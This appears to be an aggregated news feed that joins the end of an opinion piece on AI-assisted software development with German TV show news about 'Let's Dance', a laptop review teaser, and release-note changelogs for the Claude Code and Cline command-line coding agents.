What AI is actually doing is compressing the distance between a developer’s intention and working code. That’s valuable, but it creates a new set of demands. Developers who can clearly articulate what they want, who understand enough about a system to evaluate whether the AI’s output is correct and who can maintain judgment about when to trust the tool and when to push back will become more productive. Developers who use AI as a black box, accepting its output uncritically, create a different kind of problem.

There’s also a shift in what senior engineering judgment gets spent on. When AI handles more of the implementation work, the scarce resource isn’t code volume; it’s architecture, system thinking and the kind of contextual knowledge that only comes from having built and maintained real systems at scale. Those skills matter more, not less, when the tools around you are more powerful.

Communication becomes a technical skill in a more literal sense. Prompting an AI agent well isn’t trivial. Describing a problem with enough precision to get a useful result, without overspecifying in ways that constrain the solution space unnecessarily, is genuinely hard. Teams that develop that skill as a shared practice will outperform teams that treat it as an individual quirk.

The uncomfortable truth about what comes next

Let’s be honest about something the industry tends to dance around: We aren’t incrementally improving software development; we’re dismantling its fundamental assumptions. The notion that building software requires large, specialized teams working in lockstep over months-long cycles is quickly becoming obsolete. A single engineer with the right agentic setup can now achieve what once required a small squad, and that gap is only widening.

This isn’t a comfortable realization for everyone. It raises hard questions about team structure, hiring and what “seniority” even means when a junior developer with excellent AI orchestration skills can outpace a veteran who refuses to adapt. At Nutrient, we’ve already seen this dynamic play out. The engineers who leaned in early aren’t just faster; they’re operating at a fundamentally different altitude, thinking in systems and outcomes rather than lines and files.

The real risk isn’t that AI replaces developers. It’s that the industry splits into two tiers: those who’ve internalized AI as a core part of how they think and work, and those still treating it as a feature they’ll get around to learning. That second group is running out of runway. The window to adapt isn’t closing eventually. It’s closing now.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Große Änderung bei "Ninja Warrior": Nach dem Abschied von Laura Wontorra wird DAS die neue Moderation

Mon, 18 May 2026 11:17:32 +0200

RTL stellt bei der Action-Spiel-Show um: Während "Let's Dance" verkündete Laura Wontorra ihren Abschied von "Ninja Warrior". Doch ihre Nachfolge steht bereits in den Startlöchern. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, TV-Sender, RTL+, Entertainment, RTL+.

"Let’s Dance" 2026 Ergebnis-Check: Wer flog in Show 10 raus und wie geht es am 22.5. weiter?

Sat, 16 May 2026 01:16:33 +0200

"Let's Dance" Show Nr. 10 ist vorüber und für ein Paar heißt es leider Koffer packen. Hier gibt es alle Punkte des Abends in der Übersicht und den Ausblick auf Show Nummer 11! Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv.

Let's Dance 2026: Wer ist raus? Dieses Team musste sich in Show Nr. 10 am 15.5.verabschieden!

Sat, 16 May 2026 01:16:31 +0200

Eine knallharte Entscheidung: Für dieses Team ist an diesem Freitag (15.5.) Schluss bei "Let*s Dance" 2026. Trotz aller Kraftanstrengung hat es sich für dieses Paar ausgetanzt. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv, Serien.

v2.1.143

Sat, 16 May 2026 00:31:28 +0200

What's changed

Added plugin dependency enforcement: claude plugin disable now refuses when another enabled plugin depends on the target (with a copy-pasteable disable-chain hint), and claude plugin enable force-enables transitive dependencies
Added projected context cost (per-turn and per-invocation token estimates) to the /plugin marketplace browse pane
Added worktree.bgIsolation: "none" setting to let background sessions edit the working copy directly without EnterWorktree, for repos where worktrees are impractical
PowerShell tool now passes -ExecutionPolicy Bypass. Opt out with CLAUDE_CODE_POWERSHELL_RESPECT_EXECUTION_POLICY=1
Background sessions now preserve the model and effort level you set after waking from idle
Shift+Tab in attached agent sessions now includes auto mode in the cycle
Fixed a corrupt .credentials.json with a non-array scopes value hanging the CLI on startup or silently aborting OAuth token refresh
Fixed right-click paste in claude agents on Windows Terminal and WSL
Fixed stop hooks that block repeatedly looping forever — the turn now ends with a warning after 8 consecutive blocks (override via CLAUDE_CODE_STOP_HOOK_BLOCK_CAP)
Fixed Esc/Ctrl+C not cancelling a pending /loop wakeup while Claude is idle between iterations
Fixed /goal evaluator firing while background shells or delegated subagents are still running
Fixed NO_COLOR/FORCE_COLOR in settings.json env stripping Claude Code's own UI colors — they now apply to subprocesses only
Fixed agent view spawning repeated PowerShell processes on Windows when listing sessions
Fixed /bg without a prompt sending "continue" to the forked session — the fork now waits for input
Fixed --agent not finding plugin-contributed agents without the plugin: prefix
Fixed deleting a session from agent view not removing its transcript file
Fixed stale-fragment rendering when scrolling in attached background sessions on Windows Terminal
Fixed background agents false-positive worker-stall detection storm after host sleep or macOS App Nap
Fixed 5xx error messages pointing at status.claude.com instead of naming the configured gateway or cloud provider
The PowerShell tool is now enabled by default on Windows for Bedrock, Vertex, and Foundry users. Opt out with CLAUDE_CODE_USE_POWERSHELL_TOOL=0.
claude agents now accepts --add-dir, --settings, --mcp-config, and --plugin-dir and applies them to the dashboard and to background sessions dispatched from it
claude agents accepts --permission-mode, --model, --effort, and --dangerously-skip-permissions to set defaults for sessions dispatched from the view
claude --bg --dangerously-skip-permissions now persists across retire→wake
Fixed background sessions silently capturing IDE file references into the warm spare's input, which caused the reference to be prepended to the next prompt dispatched from claude agents
Worktree cleanup no longer falls back to rm -rf when git worktree remove fails, preventing loss of gitignored or in-progress files
Fixed background-job sessions on macOS getting "Operation not permitted" errors when reading files under ~/Documents, ~/Desktop, or ~/Downloads, even with Full Disk Access granted.
/bg now preserves --mcp-config, --settings, --add-dir, --plugin-dir, and --strict-mcp-config, so backgrounded sessions keep their MCP servers and settings across respawn.
Background sessions launched from claude agents now honor permissions.defaultMode from settings.json (was previously overridden to auto mode)
Fixed: on Windows, pressing ← in claude agents while a response was streaming could leave the agents list unresponsive to all input
/bg and ←-detach now preserve --fallback-model, so backgrounded workers degrade to the fallback model on overload instead of hard-failing.
/bg and ←-detach now preserve --allow-dangerously-skip-permissions, so the forked worker keeps bypass-permissions available in its Shift+Tab cycle.
Fixed: background daemon spawn now falls back to the running binary when the ~/.local/bin/claude launcher is missing or non-executable
Fixed claude agents --allow-dangerously-skip-permissions defaulting dispatched sessions to bypass mode instead of making it available in the permission cycle

Let's Dance 2026: Show 10 Live-Ticker- Tänze, Punkte und die Entscheidungen am 15.Mai

Fri, 15 May 2026 21:02:23 +0200

Let’s Dance 2026: Show 10 live! Fetzige Moves und ein harter Punktekampf erwarten uns am 15.5.Doch wer muss sich heute verabschieden? Das Alles im LIVE-Ticker! Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

The MSI Prestige 16 AI+ is a high-quality business laptop at an attractive price – it's nigh on impossible to criticise

Fri, 15 May 2026 09:08:24 +0200

A perfectly balanced productivity laptop at a price that will make the IT department bean counters dance with joy

CLI v3.0.3

Fri, 15 May 2026 01:16:25 +0200

Add --worktree flag that auto-creates a fresh git worktree under ~/.cline/worktrees/ and runs the task there. Works with --taskId and --continue so you can resume a task in an isolated worktree to try a different approach.
Show session status in the CLI history view and refresh status rows in place while the standalone history TUI is open.
Restore the OpenAI compatible provider in the auth flow and preserve stored model metadata when configuring or migrating OpenAI-compatible providers.
Fix dropped macOS screenshots when pasting them into the TUI or asking the agent to read them: paths containing U+202F (narrow no-break space) and other Unicode variants now resolve to the real file instead of failing with ENOENT.
Accept bearer token auth for AWS Bedrock and map AWS profiles correctly when configuring the Bedrock gateway.
Honor --thinking none for Ollama models that ship with reasoning enabled by default.
Recover from detached hub event errors instead of crashing the session.
Refine the shared system prompt with clearer guidance on tool output formatting, unsupported file reads, long-running shell commands, and final verification before completing a task.
Full Changelog: cli-v3.0.2...cli-v3.0.3

v2.1.142

Fri, 15 May 2026 01:01:37 +0200

What's changed

Added new claude agents flags: --add-dir, --settings, --mcp-config, --plugin-dir, --permission-mode, --model, --effort, and --dangerously-skip-permissions to configure dispatched background sessions
Fast mode now uses Opus 4.7 by default (previously Opus 4.6). Set CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE=1 to pin fast mode to Opus 4.6
Plugins with a root-level SKILL.md and no skills/ subdirectory are now surfaced as a skill
The /plugin details pane and claude plugin details now show LSP servers a plugin provides
/web-setup warns before replacing an existing GitHub App connection
Fixed MCP_TOOL_TIMEOUT not raising the per-request fetch timeout for remote HTTP and SSE MCP servers, which capped tool calls at 60 seconds regardless of the configured value
Fixed background sessions not recognizing pre-existing git worktrees, blocking Edit while EnterWorktree refused to create a duplicate
Fixed background sessions disappearing and daemon reconnect failing after macOS sleep/wake — the daemon now detects clock jumps instead of treating them as elapsed idle time
Fixed daemon not exiting cleanly after the binary is upgraded (e.g. brew upgrade), causing dispatched agents to crash-loop on the deleted path
Fixed background agents crash-looping when the Claude-in-Chrome extension is connected without a shared tab
Fixed clicking links in an attached claude agents session — the background worker's headless browser shim no longer applies while attached
Fixed claude agents "v to open in editor" using the daemon's default editor instead of your shell's $EDITOR/$VISUAL
Fixed claude agents deadlocking on Windows with network-drive working directories; Ctrl+C now works during startup
Fixed background-color bleed when attaching to a claude agents session from Apple Terminal or other 256-color-only terminals
Fixed claude --bg --dangerously-skip-permissions not persisting across retire/wake
Fixed session titles being derived from the URL when the first message is a link
Fixed redundant set_model requests from remote clients injecting duplicate /model breadcrumbs into the transcript
Fixed plugins using skills: ["./"] showing a false "path escapes plugin directory" error
Fixed plugin cache cleanup deleting the active plugin version directory when no installation metadata is present
Fixed /plugin browse pane showing "0 installs" for newly published plugins
Fixed plugin advisories not naming every plugin.json key that shadows a default folder
Improved reactive compaction: the first summarize attempt now seeds from the original request's overflow size, avoiding a wasted near-full-context retry
Improved hook configuration error: configuring a prompt- or agent-type hook for SessionStart/Setup/SubagentStart now shows a clear "use a command-type hook instead" error
Removed stale /model claude-sonnet-4-20250514 suggestion from Usage Policy refusal messages

Let’s Dance: Deshalb wird die nächste Liveshow plötzlich ganz anders als sonst

Thu, 14 May 2026 16:01:51 +0200

Neue Moderatorin, ESC-Stress und Viertelfinale: Bei "Let’s Dance" läuft diese Woche einiges anders als gewohnt. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.